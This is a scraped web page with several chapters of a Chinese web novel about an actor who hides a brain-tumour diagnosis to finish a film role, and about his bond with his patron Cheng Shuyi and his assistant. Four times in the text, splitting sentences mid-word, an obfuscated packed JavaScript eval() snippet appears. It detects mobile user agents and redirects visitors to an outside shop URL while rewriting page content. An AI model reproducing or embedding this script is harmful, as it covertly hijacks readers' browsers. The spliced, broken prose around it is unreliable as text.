35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578299|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我明白,”祁歌赶紧欠身倒酒,“保证认真对待,全力听从老师们指挥。” 如此觥筹交错了几轮,祁歌眼前都有点发花了,才终于出了门。 天边的月牙已经落到了柳树的枝丫里。 祁歌看了眼手机,高姐说找了司机在外面等,让他散场了说一声。 程书仪发了消息问忙完没,又说早点休息。 还有一条消息来自阿远。 “哥!我已准备就位!” 后面还跟着一个“敬礼”的表情包。 祁歌深深往胸腔里吸了口气,又慢慢地吐了出来。 要完成,要做好。 这个愿望就这样在心里无比地清晰起来。 “你说什么?” 诊室里猝然提高的声音吸引外面等候的病人纷纷探头试图往里看。 磁共振的结果是中午出的,祁歌临时加了号,在下午快过去前终于坐进了老大夫的诊室里。 那张检查单上非常详细地写明祁歌脑子里这个“异常信号肿块”的大小、波及部位和各种信号,老大夫从眼镜的上面盯着祁歌看:“你要再等一等?” “对……”祁歌的语调逐渐卑微,“我……可以吗?” 老大夫到底是见多识广,尽管震惊,说话依然不徐不疾:“小伙子这几天应该也上网查过了,你这个病是很危险的,你看现在肿瘤已经很大,也出现了很多典型症状,肯定是越早手术越好,要我说你今天就应该去办理住院完善检查,下周就能排到手术……你跟家人商量过了吗?” “商量过了,”祁歌睁着眼睛说瞎话,“但现在我有件很重要的事想去做,需要把手术稍微推迟一下。” “多久?” “大概……”祁歌不太确定地想了想,“两到三周吧。” 他的角色戏份并不多,但电影拍起来比较复杂,场景搭建和灯光布置等等都要花更多时间,没办法像拍电视剧那样集中把一个人的戏份都拍完。 只能跟组。 这部电影预估要拍三四个月,所幸他的戏份就在开机后拍,且场景比较局限,会快一点,但怎么都得花上半个月左右。 “太久了……太久了呀,”老大夫一边摇头一边在病历上写字,“如果是经济上有什么问题……” “不是的,您放心,”祁歌笑了笑,“我一定一定尽快过来找您住院。” 他犹豫了一下,又恢复了卑微的语气:“那个……在这期间,有没有什么药品能……” 老大夫十分不满意,却还是告诉了他具体哪些药品可以缓解哪些症状,又再三叮嘱如果症状加重或者增加,都要立刻来复诊。 “年轻人不能拿生命开玩笑啊。”大夫语重心长地说。 祁歌签了告知书,又再三保证,就差当场起誓,才终于被放走。 做完了这些,祁歌去了程书仪的公司楼下。 程书仪之前说过,今晚和人有约了,没时间见他,让他先去安心拍戏。 祁歌答应了。 但他还是来了。 黄昏时分,程书仪从楼里走出来,同行的是位男士,正是之前滑雪时见过的张先生。 看起来他们下午是在一起工作,这会儿程书仪先送他走了,又要去赴下一个约。 她每天都在忙着许多事,却仍是初见时那样笑容熠熠,洒脱随性的样子。 没有任何事应当为她染上一丝愁翳。祁歌想着。 他没从大楼侧面的小店里出来,只目送着程书仪的车子远去了。 43. 都别说 今天公司的每个人都看得出程书仪心情很好。 想帮祁歌争取一个角色这个念头,大概从程书仪上次去剧组探班的那天就生发了出来。 程书仪不太熟悉影视制作的流程,但也看得出整个作品有太多糊弄了事的部分。 在最终产品的呈现中,演员的表演占据着很大的分量。 但在制作流程里,演员能起到的作用是很小的。 她一向认可祁歌工作的能力和态度,也会不由惋惜他不曾遇到更好的机会,没有办法被更多的人看到。 这两年影视行业不算景气,但程书仪研究过,觉得近年反映家国大事的题材仍然有它的固定市场,依旧会在每年惯例的时间节点出现不错的业绩。 于是这段时间,她便抽空以此为目标,联络有相关行业经验的朋友进一步接触和了解了一下。 祁歌的眼光不错,他去试镜的这部电影制作团队颇为精良。如果后期各项手续推进顺利,应该也会如期获得相应的扶持。 能赚多少不好说,至少应该不会亏。 当然,程书仪能力有限,祁歌拿到的也只是个电影里的小配角。但大银幕上的几秒钟,曝光量可能会胜过某些小制作电视剧的主要角色。 最重要的是,有了大制作背书,之后再去试镜就会有更大的选择权。 说不定会成为祁歌事业上的一大助力。 这事儿程书仪也没想瞒着祁歌,只不过电影开机之前始终还有变数,她便也没着急说出来。 现在看来一切推进顺利,这件事总算是办得是八九不离十了,更难得的是目前三方都颇为满意。 程书仪望着窗外的蓝天和温暖的阳光,已经开始有点期待去探班了。 同一片晴空下,祁歌站在片场中间,望着周围的置景发呆。 他之前拍的戏大都是在影视城拍摄,那里有许多现成的建筑主体,只需要租下来略作装饰,就可以被糊弄成另一个时空。 原来拍电影是这样细致地从零开始去搭建一个场景,不断调整修改,直至百分百还原导演的设想。 在这里每一件小事都很重要,墙上的弹孔,石砖缝隙中的草叶,洒落在发丝间的阳光,甚至,穿过街道的微风。 “祁老师您可以先去休息,这边一会儿会有光替。”工作人员这样跟他说。 祁歌点点头,走到片场不会碍事的另一边,找了个台阶坐下。 “哥!” 随着这句脆生生的招呼,有个女孩猫着腰从墙侧的一个小门钻了进来。 “怎么在这里,让我一顿好找!”她一站定就叉着腰对他抱怨,“这个片场也太大了!” “这是拍电影嘛,”祁歌仰起头笑了,“好久不见,阿远。” 阿远没答话,皱着眉把他从上到下打量了一番:“我没在的时候,听说你又把自己折腾到医院了?” 祁歌不着痕迹地放下捂着胃的手:“没啊,常规复查而已。” “哥,”阿远意味不明地望着他,“我你也瞒着?” 听到这话,祁歌心里难免波动了一下,面上却依然不露声色:“我瞒你什么了?” 阿远弯下腰来凑近祁歌的脸。 祁歌不得不避开她的目光,往后躲了一下。 阿远露出一副“被我抓到了”的表情:“又胃疼了吧?” 原来是这个。 祁歌轻呼一口气,又掩饰地抬起袖子擦了擦汗:“其实还好。” 这句是实话。大概是这个脑瘤的消息实在太过有冲击力,最近他的胃痛基本在可以忍受的范围内,甚至感觉抑郁症都好了。 或者,更像是直接被消灭了存在感,变得没那么重要了。 由于是第一天开拍,举行过仪式后剩下的时间有限,剧组只简短地试拍了几个镜头,演员们便宣告收工。 剩下的工作要交给剧组其他工种,演员离开后,他们会根据导演的需求连夜调整布景灯光等拍摄准备,以便第二天的拍摄顺利开工。 现场的几位演员都还不太熟悉,有人想约着一起去吃饭喝几杯,祁歌都婉拒了。 为此阿远有些不安:“哥你咋了,特别不舒服吗?” “没有,”祁歌摇摇头打了个呵欠,“就是困了。” 困倦也算是他正在吃的药带来的副作用之一。为了不被疼痛折磨,必须牺牲些生命力,于是只好反复在吃药不吃药之间来回纠结。 阿远转头就悄悄跟程书仪汇报,说祁哥不知道吃错什么药,知道爱惜身体早早休息了。 对此程书仪也不知其所以然,问现在拍摄日程很紧张吗? “几乎还没开始拍呢,”阿远说,“今天就上了半天班。” 这还挺奇怪的。程书仪心想。 但祁歌最近又不像是生病逞强的样子,好像看上去状态还不错。 “那还是辛苦你多盯着点。”她这样跟阿远说。 今天来片场之前,阿远已经从高姐那儿得知程书仪帮祁歌争取这个角色的事。 高姐说在商言商,这事儿也不光是感情上的,你收收你那磕cp的表情。 阿远遵命收起傻笑,心里却还是挺开心。 虽说程书仪和祁歌的事她尚且未知全貌,但这么长时间以来,她能真切地感受到两个人之间的情感浓度,会羡慕也会惋惜。 要是能修成正果就太好了! 上一部戏祁歌拍得辛苦,她跟得也不容易。这次有了经验,精心准备了各种可能用得上的东西,以免照顾不好这位脆皮人。 没想到第二天剧组的待遇就让她大吃一惊。 作为一个小小小配角,祁歌居然有休息用的房车!有专门的造型老师!食宿也是剧组安排好的,甚至问了他的口味习惯! 阿远下巴掉了三次,勉强被安回去了。 你别说,带资进组是不一样哈。 对此祁歌倒是反应平静,再三表示一切从简即可,但也如实说了自己喜欢清淡些的饮食。 “哥,这次我可是主动请缨,放下一切工作奔向你身边的。”阿远一边努力干饭一边表忠心道。 祁歌从剧本上分出一缕目光给她:“高姐没给你发够工资?” “不是,哥你不用说了我知道你没钱。” 她这种直言不讳的程度把祁歌都气笑了:“这你算是说对了,想要干什么直说吧。” 阿远笑嘻嘻地凑过去:“以后您要是真让程姐给捧红了,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578300|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘了带上小的。” 祁歌闻言却皱了眉:“怎么你也知道了?” “这很难知道吗?”阿远睁大眼,“你看看你这房车,小是小了点,但毕竟是房车啊!我今天还听到剧组里有人瞎猜你是不是带资进组被包养啥的呢。” 祁歌不说话了,低着头戳手机。 这几秒钟的沉默令阿远有点忐忑。 她之前是觉得祁歌不是会介意这些的人,才会如实相告的。但看祁歌这个反应,难道是真的让这几句话走了心,不开心了? 要是再影响到他拍戏的状态就不好了…… 阿远开始有点后悔自己的嘴快。 程书仪刚回到公司就看到手机上有条祁歌的消息,语气似乎和平常不太一样。 “现在剧组有些关于我的传言(哭脸)” 一眼看去倒像是阿远发的。 “什么传言?”程书仪问。 “说我带资进组被人包养了(大哭)(大哭)” 一看这句,程书仪顿时有点心虚,也顾不上这人奇怪的语气了:“啊……他们怎么这样啊。” 发出去之后程书仪想了想,又加了句:“别放在心上,你演得好就行了,管他们怎么说呢。” “就是,”祁歌很快回复过来,“我带资进组怎么了,能以色侍人是我的本事,对吧金主姐姐?” ……程书仪无语。 合着这人是早知道了,在这儿逗自己寻开心呢。 这时候知道喊姐姐了?揣着明白装糊涂,这才刚进组,翅膀就硬了啊? 对此批评祁歌毫不知耻,立马求饶喊了两句姐姐饶命,借口在忙麻溜消失了。 倒是会装乖巧。程书仪笑着暗骂了一声。 完全没想过这个看似乖巧的家伙到底能捅出多大的篓子。 “那个……”阿远望着桌子对面祁歌的脑袋顶,斟酌了半天措辞,还是打算出言安慰补救一下。 却见祁歌忽然放下手机,一张明晃晃的笑颜重新没入剧本的纸页之中。 阿远一向自诩脸盲,看人不辨美丑。但这一刻她也不得不承认,这哥的脸是真的好看到让人身心舒畅。 ……等一会儿,他笑什么? 好家伙,被包养了他还得意上了,这么看来,八成刚才是跟程书仪撒娇去了。 阿远忿忿不平地嚼嚼嚼,下定决心继续告密,发挥好CP传声筒的伟大功能。 “对了,”祁歌仿佛能读心一般忽然开口,“你别啥事都跟程书仪说。” 阿远立马把刚下的决心藏起来,面上装起了傻:“我说啥了,啥事不能说呀?” 祁歌再一次拨冗把目光向她投过来:“你还记得自己是我助理吗?我没让你说的,都别说。” 这么长时间以来,祁歌其实很少拿出boss的身份来让阿远做什么事, 因此听到这句阿远不由愣了愣,试图在他脸上找出开玩笑的痕迹。 但祁歌是十分认真地盯着她,仿佛在用目光向她确认这句话的不可拒绝。 “……好,好的哥,”阿远点点头,“我知道了。” 祁歌这才收回了目光,将剧本重新隔在他们中间,又似乎几不可闻地叹了口气。 44. 吃错药 祁歌在片场猝然晕倒时,阿远整个人是懵的。 当时剧组正在试拍一个镜头,阿远就在几步远的位置看他们走戏。最近天气不算冷也不太热,温度比较舒服,不必频繁增减衣物,阿远的工作强度也减轻了不少。 得益于此,她这段时间有空仔细观察祁歌的各种表现,但似乎并没发现有什么大问题。 这很奇怪。 她跟着祁歌挺久了,大概也了解他的情况。这人现在这个样子……总觉得有什么不对劲。 虽然说祁歌那天喝过酒之后胃一直有点不太舒服,但他每餐饭都有认真吃,据他本人说在稳定好转了。 有时候阿远看到他会自己吃药,问他怎么了,说是拍新戏压力大睡不好,有点头疼,还大大方方地给阿远展示药瓶上的适应症。上面确实如他所说,是缓解头痛用的。 于是阿远从每天疑神疑鬼,到现在终于差不多打消了怀疑,相信这人最近状态真的还不错。 可是这人站在那儿好端端的,前一秒还说着词儿,下一秒忽然眼一闭就倒了。 阿远都没反应过来,祁歌已经被对手戏演员伸手险险接住,差点就摔个狗啃泥。 “怎么了怎么了,“旁边副导演站得最近,立刻上前来问,“我们剧本上有这个戏吗?” 好家伙,这是一点儿都搞不清状况。 “祁老师晕倒了!”有工作人员喊道。 副导演一听先抬头去看周围。 他们这个片场建在一个三线小城的郊区,虽然位置偏僻,管理也严格,但剧组里有几个有名的主演,偷拍还是偶有出现。 拍摄过程中,演员晕倒不算什么罕见的事,但如果被拍到添油加醋发到网上再上个热搜,他作为副导演,多少会有管理不严的嫌疑。 “先去扫一圈看看有没有代拍的,”副导演对身边的工作人员命令道,“有的话说点好话麻烦他们删一下,互相体谅。” “叫救护车吗?” “别叫,看看不行开个车送医院吧,跟导演说一声这是他个人情况,今天先调后面的戏,别耽误事儿。” 阿远终于挤到祁歌身边蹲下时,耳边充斥着的就是这些。 然而这个时候,祁歌已经醒了。 他好像对自己身周的一切都有点茫然,不知道自己为什么躺在地上,被很多人围着。 “哥,哥你感觉怎么样?哪里不舒服?”阿远赶紧问道。 祁歌摇摇头,动了动胳膊看样子是想自己撑着坐起来,但还没恢复力气,又被这个动作牵动了哪里的痛楚,眉头纠结地蹙在了一起。 “不着急,”阿远赶紧说,“你刚才晕倒了,哪里疼吗?” 祁歌闭上眼,轻声说了句什么。 他的声音太低了,现场又实在太嘈杂,阿远只看到他嘴唇动了动,却不知道他说了些什么。 于是阿远俯下身去,凑近了祁歌的脸:“什么?你再说一次?” 这次她听到了,祁歌的声音断断续续地传进她的耳朵:“别说……” 阿远难以置信地抬起头看他。 不是,这人都这样了,第一句要嘱咐的还是这句执拗的“别告诉她”?! 阿远还处在这种震惊之中,导演已经亲自过来了:“快点送医院吧还在这儿干什么呢?” 祁歌举起一只手,让周围的人把他搀了起来。 “我没事。”他努力地说出这句。 阿远就站在旁边,看到他额角有冷汗不断地渗出来。 “就是……”祁歌艰难地苦笑了一下,“胳膊可能有点脱臼了。” 理论上说,胳膊脱臼过,没恢复好的话,确实容易再次脱臼。 同样是理论上说,这种摔倒前的拉扯造成的肩关节半脱位,确实有人选择不去医院,而是让有经验的人来……手法复位。 但是……直接在现场被动作组的老师啪一下按回去这种画面,对阿远来说还是太过刺激了。 祁歌真是铁血真汉子,白着脸愣是一声没坑。 “胳膊没事了?”导演看了他几眼,“还有哪不舒服吗?生病了?” 祁歌站在原地让化妆师补妆,从缝隙中去找导演的脸:“没事,最近休息得不太好,我会调整好的。” 但是到底为什么会晕倒,他还是没说。 阿远犹豫着跟高姐说了这件事,得到的回复是会处理,看来高姐现在还挺忙的。 “哥,你多休息啊。”下戏时阿远忍不住嘱咐祁歌。 “我知道,对了,”祁歌挺随意地问她,“你在公司还有别的工作吗?我看这边也没太多事……” “哥你要赶我走?”阿远今日已经被祁歌暴击第二次,整个人都懵了。 “我不是那个意思,”祁歌看到她表情赶紧指天发誓,“我就是问一下,那个……你现在应该转正了吧?” 阿远夸张地松一口气:“你吓死我算了……当然,我现在可是上升期的艺人助理,最大工作就是全心全意服务好你!” 祁歌被她逗笑了:“好好好,将来步步高升,来当我经纪人好不好?” ……这也是我能梦的吗?阿远忍不住想白眼他:“好的哥,我会努力的。” 可能先努力考个证吧……她竟然真的畅想起来。 “阿远,你一直都做得很好,谢谢你。”最后祁歌这样说。 阿远再次愣在当场。 ……不是,这人,什么意思啊? 声音。 一片未知的朦胧中,有声音正在急迫地穿越感官模糊的通道,侵入原本沉寂的意识之中。 这声音是有规律的,由几个音符构成。在突破这层屏障的过程中,这些音符被撞得支离破碎,难以拼接。 好像是……电话铃声。 电话……说明这声音需要被应答。 祁歌终于从睡梦中找回一点清醒,只觉得尖锐的耳鸣像无数根针扎进了脑袋。 好痛。 很不幸,意识清醒起来的同时,他的知觉也醒了过来。 祁歌翻身下床,来不及冲进洗手间就呕吐了出来。 一瞬间难闻的气味淹没整个房间,令他止不住地干呕。 电话铃声再一次响起。 “我还以为你出什么事了,怎么一直不接电话?” “高姐,”祁歌清了清嗓子,“我睡着了。” “这才几点……”高姐的声音远了一瞬,“没到九点呢你就睡觉?病了?” “是有点不太舒服,”祁歌吞吞吐吐地讲实话,“回来就睡了,然后刚才猛地一醒又吐了……就是……收拾了一下。” “又是胃病犯了?我要不要给你找个中医啊,”高姐说,“老这么拖着也不是办法。” 祁歌听到中医就觉得头大:“姐,你打电话来专门关心我身体啊?” “对啊!”高姐理直气壮,“所以你到底怎么回事?你知道的,如果我想,可以去调你的病历。” 一听这话,祁歌心里难免咯噔一下。 稍一思索,他很快猜到个七七八八:“我没事,今天晕倒我也不知道……怎么回事,可能……还是和之前的抑郁症之类的……有关系吧,回去了再跟你说呗。” 高姐立马提高音量:“我就知道你有事瞒着我!不是之前都好很多了吗?现在情场事业双得意,你还有什么不满意的?” 祁歌没去解释抑郁的机制和这些事实关系不大,只应和了几句,并且保证自己会定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578301|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期去看医生,高姐才总算作罢。 挂了电话后祁歌立刻去翻止痛药。 他手抖得有点厉害,自己极力控制了一下,好险没有造成狗血电视剧里那种药片洒一地的惨状。 那股磨人的剧痛缓过来一点后,脑子才终于有余裕思考。 祁歌觉得还是要把实情告诉高姐的。 毕竟自己的身体状况关乎公司的后续安排,不能就这样不负责任地一直瞒着。 高姐是个雷厉风行说一不二的人,但也是个很好的人,她应该能理解。 只是对阿远还不能说……哎,等她知道,一定会伤心的。 祁歌心里瞬间充满愧疚感。 “……哥,你吃错药了?”阿远呆呆地望着祁歌。 完了,可能用力过度了。 祁歌内心扶额,表面波澜不惊:“怎么了,看你喜欢吃这些,多吃点。” “我要减肥啊!”阿远哭嚎,“能不能不要送女孩子高热量零食啊!” ……原来不行啊……祁歌当场发散起来:那以后是不是不能送程书仪蛋糕了……想要看喜欢的人对着蛋糕吹蜡烛的梦想,看来是真的很难实现啊。 不过以后可能……也真的没什么机会了。 他大概是发了太久了呆,以至于阿远伸出手在他面前晃了晃:“喂,你这种反应对吗?” “哦!”祁歌猛地情商上线,“你你减什么肥啊你这么瘦!” “晚了!”阿远气呼呼。 “但是说真的,干嘛要减肥?”祁歌这次表现出了真实的不解。 阿远看上去像是对这个问题期待已久:“我要去演唱会了!” “谁的演唱会?”祁歌问,“公司艺人的吗?你去工作还有体重要求?” 阿远再次呆呆地看着他,然后再次炸毛:“不是我说你这情商怎么一会儿上线一会儿下线啊?我去看偶像的演唱会啊!” “你还有偶像?” 阿远皱起眉盯着他:“怎么,对追星女有偏见?没有追星女哪有如今繁荣的演艺事业?你一个演员你……” “我错了我真的错了,”祁歌马上求饶,“我不是那个意思!” 阿远持续怀疑:“那你什么意思?” “我就是觉得……”祁歌想了想,“就忽然觉得我还很不了解你。” 这个脑子里的肿瘤,真的改变了不少自己的想法。 有时候让他觉得一切都是虚无,何必要求太多;有时候又让他觉得既然时间有限,何不多抓住点东西。 比较好的方面是,他最近的自省少了很多。 时间有限,也给了他自私的自由。 “多给我讲讲你吧。”他对阿远说。 结束了一个阶段的工作后,程书仪看到祁歌主动给她发了好多消息,讲了自己今天拍戏的一些琐事。 “你会想我吗?”祁歌最后这样问。 这这这……这人怎么了?吃错药了?程书仪吓一跳。 好像除了发烧的时候,从没见过这人直球成这样。 “你生病了?”她打了电话过去问。 “没有,也不是……最近是有点不舒服,不过不要紧,”祁歌含糊其辞说了一堆,又忽然郑重其事,“程书仪,谢谢你。” 程书仪不太想承受这种感谢,干脆直接另起一行:“拍电影挺开心的?” “是,很开心,我会好好演的。”祁歌的声音听起来很积极。 “你本来就演得很好,”程书仪实话实说,“也不能用力过猛。” “那……你觉得怎么算用力过猛?”祁歌的声音里带着笑。 两个人这么有来有回聊了半个多小时,祁歌才恋恋不舍地跟程书仪道了别。 45. 说实话 拍摄进行了一周之后,祁歌有两天没通告,特意回了趟A市约高姐谈谈。 “什么事啊,这么正式?”高姐上下打量了一眼祁歌,“又瘦了,剧组伙食不好?” “剧组伙食挺好的,什么都挺好的。”祁歌笑了笑,给她茶杯里倒了茶。 高姐双手环抱,严肃地看着他:“你要退圈?” “啊?” “我跟你说,男人还是要有自己的事业的,不要总以为有了家庭就有了全部。现在你还年轻,正是拼事业的黄金时间,她也很支持你,对不对?好不容易等来一个上升期,不要知难而退,要迎难而上……” ……祁歌一时语塞。 怎么说呢,高姐的这些话就像是一些无法识别的语义片段,横七竖八地顺着耳朵塞满了他的脑子。 “什么……不是……高姐!”祁歌终于忍无可忍地打断了她,“我们不是那种关系。” “不是?”高姐怀疑地看着他,“你不想结婚?” “啊??” “因为我觉得她对你是挺认真的,”高姐思索着说,“不像是金主随手打发小白脸啊,你……你看着也不像渣男,是不是误会了什么?” 挺认真的……对,应该是的。祁歌在心里确认了一遍。 他当然能感受到程书仪的认真。尽管现在他们之间不算是两人最舒服的状态,总还是有点别别扭扭,但程书仪既然答应了,就尽力去做了。 她一向是这样的。 所以如果结果不尽如人意……他之前没敢细想这个结局,只隐隐感到绝望,仿佛将要被判死刑。 好在,现在判他死刑的另有其人。 “是这样的,”祁歌尽量不带什么情绪地说出这句话,“我生病了,是脑癌。” “啊???” 祁歌垂下眼睛点点头:“就是这个戏开拍前刚刚确诊的,当时本来想直接跟你说把戏拒掉,但你也知道,这么好的机会,又是……她帮我争取的,我还是想拍完。” “不是等下,”高姐面上只露出一瞬间的震惊,又很快恢复了平静,“脑癌?现在什么情况是几期啊,医生怎么说,治疗方案是什么?” “医生建议我拍完这个戏尽快手术,然后放化疗吧,”祁歌还挺感谢她的镇定自若,“所以高姐,这部戏之后就别给我接别的工作了,而且这个病的生存率并不高……” 高姐沉默了几秒:“你……这个是确定的吗?用不用再复查一下……你跟我说实话……” “姐,你不是能调我的病历吗?”祁歌开了句玩笑,又敛了神色道:“已经复查过磁共振了,回头我把我的检查结果都发给你。你……说得对,也可以找其他医生看看,但我在网上查过资料,大概差不多也就是这样。” “好,你发过来,我去找这方面的专家医生,等戏拍完我再陪你去确定治疗方案。” 高姐也只质疑了那么一下,就能够迅速接受事实,开始进行后续安排:“但你现在状态还行吗?上次晕倒是因为这个吗?要不然戏咱不拍了!身体要紧。” 祁歌愣了愣。 “谢谢你,姐。”他努力克制自己声音里的颤抖,悄悄低下头呼了口气,“我能拍完,如果……也不想留什么遗憾。” 可能是在虚构的故事里打转了太久,祁歌总觉得,或许自己的人生经历也不过是一个故事。 故事里总会有起承转合,有开心的片刻时光和漫长的痛苦熬煎。 故事总会很快地有一个结局。 这样想的话,似乎那些遗憾和不甘也都没那么重要了。 祁歌本来有点担心会难以投入接下来需要拍摄的剧情,但可能是太想逃避在现实中应该感受到的东西,这一次,要沉浸剧情之中还变得更容易了点。 他抬起头望着眼前的雨帘。 最近每次看雨,心情都不太一样。 片场的雨戏很少遇到真的下雨,特别是雨量和时间都合适的雨。 此刻无边的雨丝如乱飞的针尖,细细密密地没入打光灯范围外的黑暗。 灯光和镜头能捕捉到的伤心失落,终究只有一瞬间。 一个镜头拍完,导演喊了卡,要再调整一下布光,增加布景的纵深度。 这些祁歌之前一向是很感兴趣的,会主动凑过去看调整效果。 但……现在心态毕竟不同了。 他尽量保持着人物的状态,在旁边的演员椅上坐下。 “要不要毛巾?暖手宝在这儿给你,喝点姜汤吧我刚打的。”阿远非常熟练地给他递了一堆东西。 祁歌接过暖手宝,又挥了挥手示意其他的不需要,深呼吸了几次,暂时将人物的印象留在脑海里。 “就这么一点点雨,”他这才脱出人物开口跟阿远说话,“衣服都没沾湿,没事的。” 阿远点点头,又问他:“困吗?” 祁歌抬头看她一眼:“还好,你困啦?” 虽然之前已经跟高姐说过,拜托她暂时帮忙保守这个秘密,但祁歌还是有点担心高姐会有自己的想法。 万一一觉睡醒觉得不行,这个事必须告诉谁谁和谁谁…… 但阿远只是打了个呵欠,又摇了摇头:“估计也快拍完了,我陪你等会儿吧,以后还不知道有没有机会。” 祁歌心里再次咯噔一下,什么叫没有机会,阿远到底知道什么了?! 他再次抬起头仔细打量了一番阿远的神色。 “哥你看我干啥,”阿远有点困惑,“我脸上有东西?” “没,你……为什么这么说?”祁歌问,“什么有没有机会的……” “啊你还不知道啊,”阿远再次打了个呵欠,“高姐说会给你再配个生活助理,我们俩一块儿管你。” 祁歌稍微反应了一下:“生活助理?” 阿远摊手:“对啊,我当时就说我不就是吗?高姐说我是工作助理,你现在上升期,该有的都要有。” 原来是这样。 祁歌在心里默默又感激了高姐一次。 她还是在担心自己撑不下去,所以专门找了人来照顾。 “……祁哥,你是不是要火了?” “瞎说什么,”祁歌条件反射地反对,“被人听到……” 被人听到的话会怎么样,上个热搜?他这种小透明还不至于。 之前总被教育谨言慎行洁身自好,以免将来名气上来了有额外的麻烦。 但现在“将来”两个字对他来说又是如此缥缈。 “我倒是想火,”祁歌笑了笑,“这不是没机会吗。” 程书仪早上起来又看到祁歌发了好多自己半夜拍雨戏的场面。 “你看,主演的房车可以开到山上来,我们只能坐雨棚里,”祁歌感叹,“剧组还真是尊卑分明啊。” “今天的雨下得特别漂亮,导演说比道具大哥做得好,道具大哥都有点失落了。” “书仪你会喜欢雨天吗?” “不喜欢,”程书仪诚实回答,“下雨天一般都会堵车,耽误事儿。” 她还没来得及接着回复上面的一串,祁歌已经回复了过来:“堵车的时候如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578302|187202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无聊,你做什么?” “看看工作的资料什么的吧,”程书仪说,“有时候也看看小说。” 这次她赶在祁歌回答前抢先提问:“你睡过觉了吗?怎么这会儿还醒着。” “有空推荐点小说给我,我等戏的时候也无聊。” 祁歌答完这句之后,半天才又说:“我最近睡得不太好。” 程书仪将手机留在台面上,去洗漱换衣服,然后才回复他:“为什么?” 这次的回复收到得很快:“书仪,你会怪我吗?” 程书仪拿起手机,想着要不要直接打个电话过去问问,看这人是发烧了还是又吃错药了。 祁歌的电话却直接打了进来。 “你……怎么了?”于是程书仪问。 祁歌的声音很轻缓,其中好像也没有什么不好的情绪,只是在陈述某种事实:“程书仪,我原以为可以给你比之前更好的东西,才会想靠近你。如果做不到……我怕你会失望。” “其实没关系,”程书仪如实说,“我也没想要获得什么……更好的东西。” 平心而论,她好像从没想过要从祁歌身上获得过什么。 她愿意接受祁歌给她的那些好的感受,也愿意为祁歌做些事,希望两个人都能更好,但…… 除此之外,她也没有更多的要求。 “嗯……”祁歌的声音里带了点笑,似乎是真的放下心来,“那就好。” “你……” “那你忙吧,我去睡觉啦。” 程书仪对着挂断的电话先看了下时间。 好离谱啊,演员的作息!这样会不会折寿啊?呸呸呸……哦对了…… 程书仪又给祁歌发了条消息:“我什么时候可以去探班?” “她想去探班?”高姐再次确认道。 “对,姐你说呢,就作为我朋友去看看行吗?因为这边管理真的严,我想你能不能出面跟剧组商量一下,打个招呼……”祁歌语速飞快地说着。 “停停停,探个班而已,她想去就去啊,还打什么招呼?”高姐觉得莫名其妙,“你是不是想太多了?” “啊?我想太多了吗?”祁歌也很茫然。 “她是大大方方参与投资的,就算和你有关系,你们俩又不是亲属也没必要回避吧,”高姐耐心跟他讲,“说实话这没什么不好啊,她去看看你们的拍摄,看完你们俩找时间聚一聚,里子面子不都有了?” “好像也……也有道理。”祁歌这次听懂了,“那还是姐你来帮忙对接吧。” “行,她想什么时候去,我来安排。”高姐一口应允,“给你找的那个生活助理已经到位了吧?” “嗯,”祁歌心不在焉地答,“谢谢高姐了。” “小祁,”高姐突然又严肃起来,“你别不当回事,我问过医生了,你现在不能剧烈运动,也要避免病毒感染,这些都会造成危险。好在这个戏基本都是文戏,要不然我也不会让你继续拍。给你找的这个助理小刘,他干过护士,也知道你的情况,签了协议会保密。你有什么身体问题都及时告诉他,知道了吗?” 这番话传进耳朵出来,祁歌感觉眼眶又有点坚持不住:“姐……” “哎行了,也都是公司应该做的,你别想太多,记住我的话就行。”高姐说,“不过我也得跟你说清楚,拍完这个戏,你肯定要休息很长时间,如果有舆论压力,公司可能会公布实情。” “知道了,”祁歌说,“那些就到时候看情况吧。” 我还不一定能活着看见,怕什么。他心想。 46. 慢慢讲 这天投资人之一的程书仪女士来到片场,第一件事就是大大方方坐了一下道具箱。 那她也不是有意要坐的,就是一进来正好走到那儿了,停下来听对接的工作人员介绍片场环境,顺便就坐下来歇了个脚。 